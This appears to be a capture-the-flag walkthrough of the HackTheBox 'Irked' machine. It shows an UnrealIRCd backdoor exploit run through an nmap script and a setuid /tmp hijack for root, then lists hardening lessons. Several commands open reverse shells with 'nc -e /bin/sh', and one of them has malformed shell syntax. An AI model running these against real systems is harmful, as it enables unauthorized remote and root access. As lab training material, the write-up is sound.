This is a write-up on the Irked machine access challenge from HTB. For more information on challenges like these, check out my post on penetration testing.  Special thanks to HTB user MrAgent for creating the challenge.

Irked was a fun challenge that may remind you of a time before chatting on computers was ubiquitous. The method for hacking described below is somewhat unorthodox as it technically skips the standard user compromise and goes right into root access.

Reconnaissance

A quick nmap reveals a basic website is running, with a message about IRC not working yet.  IRC (Internet Chat Relay) is an early client/server chat protocol dating back to 1988.  It still exists today and probably makes up the backbone of several popular commercial chat products.

There is nothing interesting in the page source and nothing unique on a 404 page other than the version of Linux and Apache which are running.  Run a more exhaustive nmap to find IRC.

    nmap -p- 10.10.10.117

In fact, the machine is running UnrealIRCd, which is a popular open source IRC server that is still maintained.  (Also interesting was rpcbind, which can be probed with rpcinfo -p 10.10.10.117, but this turned out to be a red herring).

Hacking In

The running version of UnrealIRCd has a known RCE (remote code execution) vulnerability.  An nmap script to exploit the vulnerability is available at https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html. Download and run the script to launch a reverse shell running as the ircd user.

    nc -lnvp 1234
    nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh <your IP> 1234' 10.10.10.117

Once in the shell browse to the /home/djmardov directory and use the find command to enumerate the contents.  Although there is a user.txt file, the ircd user doesn't have read permission.  

NOTE: there is a backup file in the home directory with a "steg" password. This password can be used to uncover the credentials for the djmardov user by using steganalysis to decipher the picture displayed on the original web page.   A more common CTF approach would leverage those credentials to connect to the machine using SSH as djmardov, obtain user.txt and continue on to elevate privelege. However, there is no need to do that, as it is possible to obtain root access from the ircd reverse shell.

Privelege Escalation

From the reverse shell, run another find command to see if there are any setuid root files.  Any executable file that is setuid root will always run under the context of the root user.  Setuid files are necessary for normal system function and every Unix system has several.  There are systemic ways of finding the ones that don't belong, but with enough experience they will usually stand out right away.  Finding setuid root files should be part of any standard enumeration playbook.

find / -perm -u=s -type f 2>/dev/null

This reveals uncommon setuid file /usr/bin/viewuser.  Running an strace while executing the file is a good way to get an idea of what the file does, but strace is not installed and exfiltrating the file for analysis may require more work than necessary.  Running a strings command on the file shows that it references /tmp/listusers but doesn't reveal much about how that file is used.  

Since viewuser runs as root due to the setuid flag, any other file it executes will also run as root.  The file /tmp/listusers doesn't exist and every user on the system can write to the /tmp directory.  This is a dangerous combination - if the viewuser command executes /tmp/listusers and /tmp/listusers can be modified by the ircd user, it will be possible to run any command as root.

To test this, create a new /tmp/listusers file and use it to open a new reverse shell in a different window.

    echo ‘nc -e /bin/sh <your IP> 1235’ > | cat > /tmp/listusers
    /usr/bin/viewuser

You now have a reverse shell running as root, which can be used to obtain both root.txt and user.txt.

Lessons Learned

Obviously, running unpatched software always presents a significant risk. However, this CTF also demonstrates the dangers of setuid and the weaknesses of word-writable /tmp directories.   Some key takeaways to help improve your environment are listed below.

• In an enterprise environment, make sure to monitor for changes to setuid files as well as the addition of any new setuid files. These can be used to compromise systems and to establish hidden, persistent backdoors to root. Setgid files, which modify the group privileges of a process, are equally important to monitor.

• Monitor and alert on the execution of setuid/setgid files in real-time. This can be accomplished by leveraging the audit subsystem. Make sure to exclude common setuid/setgid files which need to run all the time.

• Avoid creating new setuid/setgid files that are not part of the system installation library. Instead leverage sudo or enterprise tools for controlling privilege elevation. If setuid/setgid must be used, ensure that the code is thoroughly reviewed to identify potential vulnerabilities.

• As a general rule, mount temporary storage filesystems, such as /tmp, /var/tmp, and /dev/shm with the noexec,nosuid,nodev options.

• A well written program will use the location specified in TMPDIR for storing temporary files, rather than /tmp. To ensure the privacy of temporary files, it's a good practice to enforce the creation of a personal tmp directory for each user (especially root) inside their own home directory. The TMPDIR variable can then be set accordingly. This can be accomplished in bash by adding the line below to the system profile:

       * [ ! -d ~/tmp ] && mkdir -m 700 ~/tmp; export TMPDIR=~/tmp
  

• As a general rule, mount temporary storage filesystems, such as /tmp, /var/tmp, and /dev/shm with the noexec,nosuid,nodev options.